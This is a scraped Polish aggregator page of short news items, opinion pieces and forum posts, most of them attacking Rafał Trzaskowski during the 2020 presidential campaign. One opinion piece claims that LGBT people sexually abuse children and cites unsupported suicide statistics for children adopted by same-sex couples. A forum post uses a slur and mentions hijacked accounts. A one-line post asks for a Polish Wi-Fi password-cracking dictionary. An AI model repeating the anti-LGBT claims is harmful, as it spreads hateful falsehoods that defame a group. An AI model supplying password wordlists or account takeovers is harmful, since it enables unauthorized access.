– czytamy w raporcie.

Według "Rzeczpospolitej" autorzy raportu (którzy pracowali na podstawie danych z założeń dostarczonych im przez CPK) przyznają, że ze względu na dynamiczny charakter rozwoju pandemii jej wpływ na gospodarkę Polski jest trudny do oszacowania.

W ocenie autorów plan budowy CPK jest typowym projektem prorozwojowym, a w polskiej gospodarce ma on wszystkie cechy największej inwestycji infrastrukturalnej w XXI w.

„Zasadne jest założenie, iż projekt ten wykazuje potencjał pełnienia roli czynnika pobudzającego wzrost gospodarczy i wychodzenie z kryzysu" – czytamy.

"Zdaniem autorów budowa CPK wraz z inwestycjami kolejowymi i drogowymi może zapewnić tysiące nowych miejsc pracy zarówno na terenie samego lotniska (chodzi o budowę terminala i dróg startowych przez specjalistyczne firmy), jak i w branżach powiązanych, czyli produkcji materiałów budowlanych, taboru kolejowego i wyposażenia terminala"

- pisze gazeta.

R: 0 / I: 0 / P: 20

Zawiadomienie do prokuratury wobec Trzaskowskiego

Przedstawiciele Stowarzyszenia Marsz Niepodległości złożyli do prokuratury zawiadomieniu o możliwości popełnienia przestępstwa przez prezydenta Warszawy, Rafała Trzaskowskiego. Chodzi o kilkumilionową dotację dla Biennale Warszawa, która zorganizowała kontrowersyjną Społeczną Szkołę Antykapitalizmu.

Dziś podczas briefingu prasowego przed warszawskim ratuszem przedstawiciele Stowarzyszenia Marsz Niepodległości poinformowali o złożeniu do prokuratury zawiadomienia o możliwości popełnienia przestępstwa przez prezydenta Warszawy, Rafała Trzaskowskiego.

- W tamtym roku Rafał Trzaskowski przekazał 3,6 mln złotych na organizację Biennale Warszawa. Organizacja ta spożytkowała pieniądze na szkolenie m.in. anarchistów, tzw. antify, to były zamknięte szkolenia z gimnastyki ulicznej i taktyki ulicznej. Prowadziła również zajęcia z antykapitalizmu, mówiąc o tym, że własność prywatna jest złem, a własność wspólna jest dobrem. Są to ewidentne elementy potwierdzające komunistyczny rodowód tej organizacji. Należy również stwierdzić, że w kontekście ostatnich wydarzeń, w których bojówki anarchistyczne tzw. antify doprowadzają na zachodzie Europy i w USA do grabieży, rozbojów, pobić, obalania pomników - widać, że jest to ruch rewolucyjny, który ma zamiar siłą zmienić panujący ustrój nie tylko na Zachodzie, ale również w Polsce - mówił Robert Bąkiewicz, przewodniczący Stowarzyszenia Marsz Niepodległości.

💬@RBakiewicz: Finansowana przez @trzaskowski_ org Biennale Warszawa jest częścią amorficznej międzynarodówki Antifa o charakterze komunistycznym, która przemocą chce narzuć swoja „wizję świata”, a tym samym finasowanie tej jej spełnia dyspozycję art 256 § 1 i art. 127 § 1 i 2 KK pic.twitter.com/DGHygr4Xkz

— Marsz Niepodległości (@StowMarszN) July 9, 2020

Zawiadomienie dotyczy przestępstw z art. 256 par. 1 oraz art. 127 par. 1 i 2 Kodeksu karnego.

Art. 127. § 1. Kto, mając na celu pozbawienie niepodległości, oderwanie części obszaru lub zmianę przemocą konstytucyjnego ustroju Rzeczypospolitej Polskiej, podejmuje w porozumieniu z innymi osobami działalność zmierzającą bezpośrednio do urzeczywistnienia tego celu, podlega karze pozbawienia wolności na czas nie krótszy od lat 10, karze 25 lat pozbawienia wolności albo karze dożywotniego pozbawienia wolności. § 2. Kto czyni przygotowania do popełnienia przestępstwa określonego w § 1, podlega karze pozbawienia wolności na czas nie krótszy od lat 3.

Art. 256. § 1. Kto publicznie propaguje faszystowski lub inny totalitarny ustrój państwa lub nawołuje do nienawiści na tle różnic narodowościowych, etnicznych, rasowych, wyznaniowych albo ze względu na bezwyznaniowość, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2.

W maju portal zyciestolicy.com.pl poinformował, że w 2019 r. warszawski ratusz przeznaczył 3,6 mln złotych na instytucję kultury szkolącą anarchistów z „taktyki miejskiej/ulicznej gimnastyki”, która oferowała zajęcia pod znaczącymi tytułami: „Własność prywatna to kradzież. Własność wspólna to bogactwo”, „Taktyki miejskie/uliczna gimnastyka, czyli techniki działania grupowego”, „My jesteśmy kryzysem (Kapitału)”. Rzecz działa się w ramach Społecznej Szkoły Antykapitalizmu organizowanej przez Biennale Warszawa (formalnie - instytucji kultury).

R: 0 / I: 0 / P: 20

Oby Polska była Polską, a nie Trzaskolandem!

AMATOR ANTYCYWILIZACJI – tak można określić szerzej Rafała Trzaskowskiego, bo nie jest on tylko ratownikiem i farbowanym lisem układu post-komuny, lecz także protektorem „tęczy” ( podpisał kartę LGBT), a wreszcie działa niczym „inżynier” społeczeństwa otwartego,tak gorliwie propagowanego przez Sorosa.

Pan Rafał jest zatem amatorem antycywilizacji, a nie zapomina o swoich obowiązkach wobec „niezależnych” instytucji ( chodzi o trybunały), nafaszerowanych sędziami mianowanymi jeszcze w PRL-u. A w dodatku jest hipokrytą - dla zmyły postuluje, by dzieci uczono języków obcych ( co i tak się robi!), ale głównie popiera seksedukację małolatów. Popiera więc kolektywne praktyki seksu w szkołach, które unicestwiają to, co powinno być indywidualne, intymne i niepowtarzalne, a ponadto przyjść w swoim czasie. Niestety, przychodzi z inicjatywy LGBT, a reklama masturbacji przypomina bardziej masowy gwałt na najmłodszych niż seksualną edukację. Główną ofiarą „tęczowej cywilizacji” są dzieci, bowiem przedwczesna inicjacja seksualna u małolatów prowadzi do zaburzeń psychologicznych, generuje psychiczne kaleki. A 24% dzieci adoptowanych przez pary gejowskie ma myśli samobójcze, zaś 12% w parach lesbijskich. Dlatego adopcja dzieci w takich stadłach jest wielce kontrowersyjna i powinna być zakazana z mocy prawa. Prezydent Andrzej Duda podpisał kartę rodziny, broni tradycyjnych rodzin, a dzieci chce chronić też przed deprawacją w szkołach, narzucaną wbrew woli rodziców. Za tolerancję okazywaną tym co kochają inaczej ( czy źle im się dzieje ?) LGBT odpłaca przemocą seksualną wobec dzieci i okrada je z dzieciństwa!? Nie można pozostać na to obojętnym. Niechże też Trzaskowski nie woła w kampanii, że większość Polaków chce tolerancji! Bo tolerancję mają od dawna, tylko posuwają się za daleko w stosunku do dzieci. Trzaskowski insynuuje, że Dudy nie ma tam, gdzie są słabsi ? Ależ właśnie jest, broni dzieci! Postępuje tak z szacunku dla rodzin i z miłości do dzieci.

Prezydenturę Trzaskowskiego dyskwalifikują różne aspekty, właściwie wszystko. Byłby prezydentem tylko dla sfery oligarchów. Zdaniem wielu komentatorów jest on „kompletnie niewiarygodny”, przyłapano go już na wielu kłamstwach i to w ważnych kwestiach politycznych. A w miejskim ratuszu nie popisał się niczym, chyba że opieszałością w interwencjach czy w załatwianiu spraw tarczy antykryzysowej. Ponadto chronił aferę prywatyzacyjną stolicy, zatem Bronisław Wildstein określił go „protektorem gangsterów”. Odsłania to dlaczego tak bardzo zamierza blokować reformę sądownictwa, jest więc zwolennikiem korupcji i rajcuje go niepraworządność. Ma zatem wielki potencjał złej woli, dlatego Ziemkiewicz powiada, że Trzaskowski chce tylko wedrzeć się do Belwederu i sypać piach w tryby ( tak jak Grodzki w senacie) czyli demolować to, co Prawo i Sprawiedliwość dokonało w ostatnich pięciu latach. Wystarczy ? I prawie nie ma programu, zaledwie dzień przed ciszą wyborczą pierwszej rundy, przedstawił kartkę z czterema punktami! A podczas kampanii wyborczej jest arogancki i używa języka niegodnego męża stanu. Zachowuje się jak goguś po studiach wieczorowych, a studiował na UW. I nieprawdą jest to, że w Belwederze słuchałby …obywateli, bo wyraźnie widać że jest instrumentem światowego „liberalizmu”, Sorosa, Michnika, Niemców i nawet byłych okupantów ze wschodu.

Ale najbardziej perfidną intrygą jest chyba jego plan deprawacji dzieci w szkołach, jest to zamach na niewinność dzieci, które są bastionem czystości na naszej przegniłej planecie. Są przy tym największym skarbem ludzkości i jej wyjątkowym potencjałem, wymagającym ochrony i opieki w zaraniu egzystencji. Dzieci są jakby narybkiem narodów, ich ziarnem, które powinno rosnąć w najbardziej optymalnych warunkach, a nie być deptane gdy kiełkują. Prawo i Sprawiedliwość ma wiele osiągnięć i atutów wspierających swego kandydata, jednak obrona dzieci, podjęta przez Andrzeja Dudę jest chyba najwyższą zasługą Prezydenta ( obok reformy Temidy) i powinna poderwać nawet wahających się wyborców. Broniąc dzieci wznosimy tarczę nad własnym narodem, nie dajmy skazić go w dzieciństwie, nie pozwólmy by wzrastał ułomny. Oby Polska była Polską, a nie Trzaskolandem!

R: 0 / I: 0 / P: 20

My - ICH wrogowie

My nazywamy ich „naszymi oponentami”, a w najgorszym przypadku „przeciwnikami”. Ale oni nie bawią się w Wersal. Oni „lutują”, walą między oczy, jadą po bandzie, idą „na rympał” i bez żadnych zahamowań nazywają nas po prostu WROGAMI.

Cóż, trzeba to przyjąć za normę, bo trwa to lata całe i nie ma żadnych oznak na niebie i ziemi, żeby miało się zmienić. Wręcz przeciwnie: ICH nienawiść do NAS narasta i narasta. Jeżdżąc w kampanii wyborczej prezydenta Andrzeja Dudy, słyszałem to samo ,niezależnie czy w okolicach Człuchowa czy Lęborka (Słupskie, Pomorskie)czy też w Trzebnicy, Oławie, Udaninie, gminie Borów czy Siechnice (Dolnośląskie) czy wreszcie Wrocławiu – że jeszcze nigdy w żadnej kampanii wyborczej, ani prezydenckiej ani parlamentarnej, nie zrywano tak bardzo naszych banerów. Tak, wrogość narasta. Momentami jest to wręcz patologiczna nienawiść…

A więc otwartym tekstem porozmawiajmy o tych, którzy uważają nas za wrogów, a siebie - za naszych wrogów. Warto - mimo sześciu pod rząd wyborczych zwycięstw Prawa i Sprawiedliwości (raz prezydenckie, dwa razy parlamentarne, dwa razy samorządowe – do sejmików oraz pierwszy raz w historii wybory europejskie) – nie lekceważyć tych z drugiej strony barykady.

Miał rację Grek Antystenes, nauczyciel Diogenesa i ojciec cynizmu w filozofii, który ponad 2300 lat temu mówił: „Nie lekceważ swych wrogów, bo oni pierwsi zauważą Twe błędy”.

Słuchając festiwalu obietnic wyborczych ob. Trzaskowskiego i innych polityków PO, warto znać maksymę Ezopa: „Obietnice naszych wrogów składane są po to, aby je złamać”.

Stare powiedzenie głosi: „Pokaż mi swoich wrogów – a powiem Ci, kim jesteś”. Koresponduje to z mądrością wielkiego polskiego i brytyjskiego pisarza, który pisał wyłącznie po angielsku – Conrada czyli Józefa Korzeniowskiego: „Oceniaj bliźnich zarówno po tym, jakich mają przyjaciół, jak i po tym kto należy do ich wrogów”. A tak na marginesie, pod koniec XIX wieku mówiono, że Polska ma trzech wielkich pisarzy, ale żaden z nich nie pisze po polsku – mowa była właśnie o Conradzie oraz o piszącym po francusku Apollinaire (nazwisko rodowe: Kostrowicki) i piszącym po niemiecku Stanisławie Przybyszewskim.

Należy doceniać swoich wrogów także za to, że… są tacy, jacy są. Podpisuję się pod słowami hiszpańskiego jezuity Baltazara Gracjana: „Mądry człowiek ma więcej pożytku ze swych wrogów, niż głupiec ze swych przyjaciół”.

Mając wobec wrogów chrześcijańskie miłosierdzie (serio!), trzeba jednak z nimi politycznie walczyć bez pardonu. Jeśli tego nie zrobimy, to zaprosimy ich do pokonania nas. Nie bądźmy jak nasi rodacy, którzy zupełnie nie wykorzystali naszego historycznego zwycięstwa pod Grunwaldem, którego 610-tą rocznicę będziemy w tym miesiącu obchodzić. W polityce, jak w boksie: trzeba iść za ciosem. Jak to określił lapidarnie Stanisław Jerzy Lec: „Tylko bardzo wielcy mogą pozwolić przeciwnikom podnieść głowę”. Nie myślmy o sobie, że tacy jesteśmy wielcy: nie pozwólmy im, mówiąc Lecem, podnieść głowy. O naszej wielkości zdecyduje Historia, a nie nasze mniemania…

R: 11 / I: 2 / P: 20

Jutro o 19:45 pan prezydent Andrzej Duda ma AMA na wypoku.

Jest okazja zadać mu kilka pytań.

Np kiedy zostaną złapani matura bomberzy ;_;

wiem że macie przejęte konta u białka

Btw zanosi się na kompromitacja cwela bo wykopki już ostro po nim jadą xD

R: 0 / I: 0 / P: 20

Te projekty forsuje Trzaskowski. Karta LGBT w roli głównej.

- Obawiam się, że gdyby Rafał Trzaskowski został prezydentem Rzeczypospolitej, to tego typu projekty jak karta LGBT miałyby pierwszeństwo, byłyby promowane i forsowane przez prezydenta – ocenił Sebastian Kaleta, wiceminister sprawiedliwości i sztabowiec prezydenta Andrzeja Dudy. Kaleta zaznaczył także, że temat karty LGBT w środowisku Rafała Trzaskowskiego jest ciągle żywy.

Sebastian Kaleta mówił w czwartek podczas konferencji prasowej przed stołecznym ratuszem o "istotnych informacjach", jakie pojawiły się w środę wieczorem. Nawiązał w ten sposób do wpisu europosłanki Janiny Ochojskiej na Twitterze, która napisała, dlaczego będzie głosowała na Rafała Trzaskowskiego.

1. bo poważnie traktuje problem zmian klimatycznych 2. bo proponuje inwestycje "za rogiem" 3. bo proponuje program równych szans na rynku pracy 4. bo wprowadzi kartę LGBT w całym kraju 5. bo będzie Prezydentem WSZYSTKICH Polaków

– napisała europosłanka na Twitterze w środę wieczorem.

Kaleta zauważył podczas konferencji prasowej, że wpis Ochojskiej polubił wiceprezydent stolicy Paweł Rabiej.

"Obawiam się, że gdyby Rafał Trzaskowski został prezydentem Rzeczypospolitej, to właśnie tego typu projekty miałyby pierwszeństwo, tego typu projekty byłyby promowane, forsowane przez prezydenta, wtedy już Polski, a nie tylko Warszawy"

– powiedział.

Kaleta ocenił także, że temat karty LGBT w środowisku Rafała Trzaskowskiego jest ciągle żywy.

R: 0 / I: 0 / P: 20

Słonko Brazylii

Donald Tusk czerpał pełnymi garściami z możliwości turystycznych, jakie dawały mu funkcje publiczne. Pamiętamy „podróż życia”, w którą wybrał się z żoną przy okazji wizyty rządowej w Peru. Rafał Trzaskowski w stylu piastowania funkcji państwowych nie różni się od swojego byłego szefa. Celem wyjazdu do Brazylii był udział w dwudniowej konferencji – okazało się to dobrym pretekstem do tego, by w luksusowym hotelu spędzić dni sześć.

Połączenia lotnicze z Brazylią, zmiana czasu, aklimatyzacja – na pewno jest mnóstwo powodów, dla których obecny kandydat wydał na to 60 tys. zł z publicznych pieniędzy. I jasne jest, że udział w tej zamorskiej konferencji musiał wyłączyć go z pracy w ministerstwie przynajmniej na tydzień – przecież każdy wie, że Brazylia jest daleko, prawda? Ktoś, wsłuchując się w te argumenty, powie pewnie jeszcze, że się „Gazeta Polska Codziennie” czepia, że to w gruncie rzeczy nic poważnego, wszak w TVN żadnego oburzenia nie ma… To prawda – afera korupcyjna to nie jest, nikt nie złamał prawa. Ale ta brazylijska wyprawa Trzaskowskiego pokazuje rys mentalności tego polityka i jego formacji. Chodzi o to, by mieć władzę i korzystać z tego – żadnego etosu tam nie ma.

R: 0 / I: 0 / P: 20

„Chcą ustawą zamykać usta dziennikarzom”. Szczerski o zapowiedzi Trzaskowskiego

Rafał Trzaskowski w jednym z wywiadów zapowiedział, że jako prezydent przedstawiłby ustawę likwidującą TVP Info. Odpowiedział mu Krzysztof Szczerski. "Trzeba obronić w niedzielę wolność słowa przeciwko takim politykom, którzy chcą ustawą zamykać usta dziennikarzom" - skomentował tę zapowiedź szef gabinetu prezydenta.

Rafał Trzaskowski w wywiadzie dla "Rzeczpospolitej" był pytany o trzy pierwsze decyzje, które podjąłby, gdyby został prezydentem. "Projekt ustawy oddzielający prokuratora generalnego od ministra sprawiedliwości. Służba zdrowia i jej finansowanie na poziomie 6 proc. PKB oraz ustawa likwidująca TVP Info" - odpowiedział kandydat KO.

Powiedział też, że chce usiąść ze specjalistami i "zrobić okrągły stół, by zastanowić się, jak mają wyglądać media publiczne, jak je odpolitycznić, jak zorganizować ich finansowanie, jak uspołecznić telewizję".

"Z tym będzie związana kwestia tego, jak informować. Telewizja musi wrócić do swojej misji edukacyjnej" - dodał Trzaskowski.

Tę zapowiedź skomentował szef gabinetu prezydenta Krzysztof Szczerski.

"Trzaskowski w wywiadzie prasowym zapowiada, że zaraz po wygranej przedstawi USTAWĘ o likwidacji TVP Info; tak mają wyglądać wolne media? Trzeba obronić w niedzielę WOLNOŚĆ SŁOWA przeciwko takim politykom, którzy chcą ustawą zamykać usta dziennikarzom"

- napisał na Twitterze Szczerski.

R: 0 / I: 0 / P: 21

Pandemia uderzyła w... lody!

O 20 procent spadła latem tego roku we Włoszech konsumpcja lodów, co jest konsekwencją pandemii i nieobecności zagranicznych turystów. Kryzys „rozpuścił” także lody - podkreśla się w analizie sytuacji potężnej branży, notującej obroty ponad 4 mld euro rocznie.

Sektor ten wydawał się być odporny na kryzys z powodu koronawirusa. Włochy są na pierwszym miejscu pod względem produkcji tzw. lodów rzemieślniczych, wytwarzanych w małych zakładach i punktach sprzedaży.

Związek rolników i producentów żywności Coldiretti podkreślił, że w czerwcu w całych Włoszech było o 10 milionów krajowych i zagranicznych turystów mniej niż przed rokiem. To głównie ten czynnik sprawił, że lodziarnie odwiedziło zdecydowanie mniej klientów niż zwykle.

Branża wiąże nadzieje z oczekiwanym przyjazdem większej liczby turystów z krajów UE w lipcu, jednak pierwsze sygnały nie są zbyt optymistyczne. Dlatego rosną obawy w 39 tysiącach lodziarni w kraju , w których zatrudnionych jest około 75 tysięcy osób. W kryzysie spowodowanym spadkiem zamówień pogrążeni są też dostawcy mleka, cukru, owoców i innych produktów potrzebnych do produkcji lodów.

Nieobecność zagranicznych turystów jest na tyle dotkliwa dla producentów lodów, że ich sytuacji nie poprawia to, że 94 procent Włochów regularnie kupuje je w lodziarniach, które w minionych latach przeżywały prawdziwy rozkwit oferując coraz bardziej oryginalne kompozycje. Są wśród nich lody o smaku bazylii czy prosecco i przygotowywane z oślego mleka.

R: 0 / I: 0 / P: 21

Rafał Trzaskowski oszukuje nie tylko w sprawie LGBT

- Rafał Trzaskowski oszukuje nie tylko w sprawie LGBT (…) Jest wychowankiem PO, wyuczył się na PO. Proszę się nie dziwić, że dzisiaj rano mówi co innego, w południe co innego, wieczorem co innego. Tak już robił Grzegorz Schetyna w sprawie np. uchodźców. Rano mówi: "absolutnie nie przyjmujemy", po południu: "a kto to jest uchodźca", a wieczorem: "przyjmujemy, bo taki jest obowiązek". Taka jest Platforma Obywatelska. To jest cały Rafał Trzaskowski - mówił w programie Michała Rachonia #Jedziemy założyciel Federacji dla Rzeczypospolitej Marek Jakubiak.

Powiemy, kogo popieramy i dlaczego

Przed nami ostatnie 48 godzin kampanii wyborczej. Cisza wyborcza zaczyna się w piątek o północy. Co z głosami tych, którzy w pierwszej turze wybrali Marka Jakubiaka, pytał na antenie TVP Info Michał Rachoń założyciela Federacji dla Rzeczypospolitej.

W myśl demokracji, powinni sami postanowić, na kogo głosują. Cieszę się bardzo, że po konsultacjach wewnątrzpartyjnych będziemy dzisiaj o godzinie 12 mieli konferencję, na której ogłosimy swoje poparcie. Nie będziemy unikać, nie będziemy robić umizgów. Powiemy, kogo popieramy i dlaczego to robimy. Dziś wyjątkowo w Polsce nie politykowanie a polityka jest potrzebna

- wykazywał Jakubiak.

Jesteśmy na progu wojny hybrydowej

Dzisiaj jesteśmy na progu hybrydowej wojny. Polega ona na tym, że Unia Europejska ma być zunifikowana. Hasła, które idą z UE, dotyczą przyzwyczajania państw narodowych do tego, że muszą się wyzbyć swojej tożsamości, swojego wychowania, swoich tradycyjnych wartości po to, żebyśmy wszyscy w UE mieli takie same mundurki, żebyśmy dwoma językami mówili, żebyśmy jedną walutę mieli, jedną armię, jedną policję

- diagnozował szef Federacji dla Rzeczypospolitej.

Co z walutą euro?

Jeżeli w tej kampanii, przypomniał Michał Rachoń, zadamy pytanie np. o walutę euro, słyszymy, że to jest temat, którego w ogóle nie ma. Choć słyszeliśmy wielokrotnie wypowiedzi przedstawicieli PO, a nawet poprzedniego szefa jego partii politycznej Grzegorza Schetyny, że trzeba Polaków do tego przekonywać. Sam Rafał Trzaskowski mówił o euro wielokrotnie, a w tej kampanii wyborczej jakby tego tematu nie było, przynajmniej zdaniem wiceprzewodniczącego PO.

Podczas debat telewizyjnych mówiłem o tym, że polski złoty jest gwarantem naszej gospodarczej niezależności. Nie tylko złoty, ale również polski hymn, polska armia, nasza historia - w ogóle nasze dziedzictwo jest gwarantem naszego dążenia do ciągłej walki o niepodległość. Mówię specjalnie ciągłe, dlatego że w tej chwili też walczymy o niepodległość

- dodał.

Trzaskowski oszukuje nie tylko w sprawie LGBT

Trzaskowski oszukuje nie tylko w sprawie LGBT (…) Jest wychowankiem PO, wyuczył się na PO. Proszę się nie dziwić, że dzisiaj rano mówi co innego, w południe co innego, wieczorem co innego. Tak już robił Grzegorz Schetyna w sprawie np. uchodźców. Rano mówi: "absolutnie nie przyjmujemy", po południu: "a kto to jest uchodźca", a wieczorem: "przyjmujemy, bo taki jest obowiązek". Taka jest Platforma Obywatelska. To jest cały Rafał Trzaskowski

- mówił w programie Michała Rachonia #Jedziemy założyciel Federacji dla Rzeczypospolitej Marek Jakubiak.

R: 0 / I: 0 / P: 21

A co tam program i wartości! Maski opadły.

Lider PSL, który uzyskał w pierwszej turze wyborów prezydenckich 2,37 proc głosów twierdzi, że znalazł wiele wspólnych elementów programowych z… Rafałem Trzaskowskim. Pytany wprost, o głosowanie w drugiej turze przekonuje, że bliższy jest mu kierunek wyznaczany przez kandydata Koalicji Obywatelskiej. Jak widać lata koalicji PO-PSL nie poszły w zapomnienie.

Kosiniak-Kamysz pytany w czwartek rano w TVN24, czy „przebolał już swoją porażkę", przyznał że… jego wynik jest poniżej oczekiwań.

Dziewięć miesięcy ciężkiej pracy, kampania, która dawała nadzieję na więcej. Oczywiście każdy musi wziąć głęboki oddech po czymś takim, ale mam perspektywę, myślę, jeszcze wielu lat w polityce.(…) Chciałbym żeby wynik był lepszy, ale wszystko co dobre jeszcze przede mną.

- powiedział.

Polityk ma już jednak wyjaśnienie swojej wyborczej porażki. Jego zdaniem od pojawienia się Rafała Trzaskowskiego jako kandydata w wyborach prezydenckich „nie było przestrzeni” do uzyskania lepszego wyniku. Podkreślił, że w ostatnim czasie otrzymał wiele wyrazów sympatii, „nawet więcej niż przed tym wynikiem”.

Ta sympatia jest. To na pewno cieszy, że nie zrobiłem takiego błędu, który by spowodował, że nie ma już przestrzeni do dalszego funkcjonowania, do rozwoju, do budowania i Koalicji Polskiej, i tego centrum, które jest w Polsce potrzebne.

- przekonywał Kosiniak-Kamysz.

Lider ludowców podkreślił, że nie zamierza podawać się do dymisji. Zaznaczył, że zaraz po wyborach otrzymał wotum zaufania od Naczelnego Komitetu Wykonawczego swojej partii.

Ja będę się poddawał weryfikacji już niedługo na kongresie, albo pod koniec tego roku, albo na początku przyszłego. Koronawirus opóźnił nam kampanię wewnętrzną. Będę startował na prezesa dalej.

- zapowiedział.

Dodał, że nie ma poczucia niewypełnienia obowiązku. Zaznaczył jednak, że wyciągnie wnioski z tej sytuacji.

Pytany o to, kogo zamierza poprzeć 12 lipca podczas drugiej tury wyborów, Kosiniak-Kamysz odpowiedział, że jego wyborcy sami będą wiedzieli jakiego wyboru dokonać. Nie omieszkał jednak dać im podpowiedzi i… wskazać kandydata.

Moi wyborcy mają swój rozum. Jak mieli odwagę zagłosować na mnie w pierwszej turze, w tak spolaryzowanej rzeczywistości, to wiedzą jakiego wyboru dokonać.

- powiedział lider PSL.

Dopytywany wprost, czy zagłosuje na Rafała Trzaskowskiego, odparł że „jest bliższy temu kierunkowi”.

R: 10 / I: 1 / P: 21

wifi

nk słownik do wifi, polskie hasla.

R: 0 / I: 0 / P: 21

Polacy tworzą najlepsze gry wideo na świecie

Polska branża gamingowa, polscy informatycy i programiści należą do jednych z najlepszych na świecie. W naszym kraju działa ok. 400 firm, które zajmują się projektowaniem i tworzeniem gier - powiedział prezydent Andrzej Duda podczas imprezy „Lato z Esportem” organizowanej przez markę LOTTO. Wydarzenie zorganizowano w ogrodach Belwederu. Każdy fan gamingu mógł tam znaleźć coś dla siebie.

E-sport, pisząc najprościej, to forma rywalizacji sportowej, w której przedmiotem działań zawodników są gry komputerowe. Dziedzina ta od kilku lat rozwija się w zawrotnym tempie, także w naszym kraju. Co ciekawe, w szkołach średnich powstają nawet klasy o profilu e-sportowym.

Widząc potencjał drzemiący w gamingu (co w wolnym tłumaczeniu oznacza po prostu „granie”) marka LOTTO postanowiła stworzyć specjalne wydarzenie pod nazwą Lato z Esportem. Ostatnia impreza zorganizowana została dzisiaj w ogrodach Belwederu w Warszawie. Fani gier wideo mogli wziąć udział w kilku atrakcjach i spotkać się ze swoimi idolami, m.in. z twarzą polskiego gamingu – Patrykiem „ROJO” Rojewskim, jednym z najbardziej doświadczonych graczy Adamem „Destru” Gilem oraz streamerem Radosławem „NieDaRadek” Skorowskim.

Co ciekawe, uczestników imprezy odwiedził także prezydent Andrzej Duda, który podkreślił, że branża gamingowa w Polsce to „prawdziwy przemysł”, otwarty na talenty

– Polska branża gamingowa, polscy informatycy i programiści należą do jednych z najlepszych na świecie – podkreślił Prezydent podczas spotkania z zawodnikami esportu i ich fanami w ramach akcji „Lato z esportem”. https://t.co/jbbBZZKtuI pic.twitter.com/zGc6ztPsE7

— Kancelaria Prezydenta (@prezydentpl) July 8, 2020

- Polska branża gamingowa należy do najlepszych na świecie. Przykładem jest warszawskie studio CD Projekt Red odpowiedzialne za serię gier o Wiedźminie. Wiedźmin podbił serca graczy na całym świecie i stał się niezwykle popularną grą, zbudował polską branżę gamingową. Za sukcesem tej gry stał nie tylko autor książkowego Wiedźmina, czyli Andrzej Sapkowski, ale również programiści i informatycy ze studia, którzy potrafili zbudować podstawie książki grę

– wskazywał prezydent.

Zaznaczył także, że informatycy znad Wisły należą do najlepszych na świecie.

- Mamy w Polsce ok. 400 firm, które zajmują się projektowaniem i tworzeniem gier komputerowych, jest to w naszym kraju cały przemysł, który cały czas poszukuje młodych talentów, którzy będą chcieli uruchomić swoją wyobraźnie

– mówił Andrzej Duda.

#NaŻywo | Belweder. Spotkanie „Lato z esportem” https://t.co/XLfR8kSU7o

— Kancelaria Prezydenta (@prezydentpl) July 8, 2020

Prezydent wskazał również, że współtworzenie gier może w przyszłości stać się powołaniem i pasją dzisiejszych graczy, którzy będą chcieli uruchomić swoje talenty i umiejętności.

Naszej redakcji udało się porozmawiać również z jednym z najsłynniejszych gamerów w naszym kraju Patrykiem „Rojo” Rojewskim, którego spytaliśmy jaką renomę mają Polacy w świecie gier wideo.

- Polacy są pionierami jeśli chodzi o gaming. Bardzo się cieszę, że dożyłem czasów, kiedy to my robimy najlepsze gry wideo na świecie. Pokazuje to chociażby gigantyczny sukces całej serii Wiedźmina. To oczywiście nie jedyny tytuł, którym możemy się poszczycić. Należy wspomnieć chociażby o This War of Mine, która została uznana za lekturę nieobowiązkową, co jest ewenementem na ogromną skalę

– mówi nam Patryk „Rojo” Rojewski.

Nasz rozmówca wskazuje również, że zespoły e-sportowe są mocno dofinansowywane przez sponsorów, a sama ta dziedzina rozrywki z roku na rok systematycznie zwiększa swoją wartość.

„Rojo” zdradził nam także jak według niego będzie wyglądała przyszłość gamingu w Polsce.

- Ciężko to ocenić, ze względu na gry, które są bardziej demami technologicznymi niż pełnoprawnymi tytułami. Na pewno nastąpi rozwój wirtualnej rzeczywistości (VR), myślę tu o specjalnym sprzęcie. Pytanie tylko czy nie zabrniemy z tym trochę za daleko, żeby nie doszło do pewnej alienacji społecznej. Wszystko jest dobre i fajne, ale w pewnych dawkach. Każda skrajność jest zła. Życzyłbym sobie, aby powrócono do idei z lat ‘90. Chodzi o to, żeby gry opowiadały ciekawe historie, prezentowały pamiętne postacie, żeby można je stawiać w jednym rzędzie z książką, sztuką, teatrem, czy filmem

– tłumaczy „Rojo”.

R: 0 / I: 0 / P: 21

Ustawka i nieudana próba linczu podczas debaty prezydenckiej

Platforma, organizując wiec Rafała Trzaskowskiego, chciała przyćmić oficjalną debatę z prezydentem Dudą. Nie udało się. Co więcej, wśród dziennikarzy pojawił się pracownik warszawskiego ratusza. By to przykryć, media sprzyjające Trzaskowskiemu próbowały oskarżyć o ustawkę debatę z Andrzejem Dudą. Posłużyły się kłamstwem.

Na wiec Trzaskowskiego przybyli przedstawiciele różnorodnych mediów, którzy zadawali kandydatowi PO na prezydenta przedwyborcze pytania. Jednym z nich był wysłannik „Najwyższego Czasu” Grzegorz Jakubowski. Okazało się, że ów „dziennikarz” – jak zauważyli internauci i potwierdziły media – jest obecnie urzędnikiem warszawskiego ratusza. Pracuje w Urzędzie Dzielnicy Żoliborz, w Biurze Administracji i Spraw Obywatelskich. Mężczyzna do niedawna trudnił się dziennikarstwem śledczym, a obecnie nieoficjalnie – zgodnie z ustaleniami portalu ZycieStolicy.pl – pisze artykuły dla „Gazety Finansowej” pod pseudonimem Wiktor Kowalski.

Po wypłynięciu tych informacji internauci i niektóre media stwierdzili, że wiec Trzaskowskiego był tak naprawdę ustawką.

„Jesteśmy zaskoczeni, że pracownik Urzędu m.st. Warszawy zadawał w »Arenie Prezydenckiej« pytania Rafałowi Trzaskowskiemu, reprezentując prawicowy tygodnik. Nikogo w urzędzie nie informował o tym zamiarze”.

- napisała na Twitterze rzecznik Karolina Gałecka.

PO postanowiła szybko odwrócić uwagę od incydentu. Politycy, m.in. Katarzyna Lubnauer, oraz media sprzyjające Trzaskowskiemu, takie jak „Gazeta Wyborcza” czy „Fakt”, oskarżyli o podobną ustawkę debatę zorganizowaną w Końskich z udziałem prezydenta Dudy. Stwierdzili, że mieszkańcy, którzy zadawali mu pytania, byli podstawionymi politykami PiS. Wskazali na Andrzeja Wawrzyniaka – według nich działacza Solidarnej Polski Zbigniewa Ziobry. To fake news.

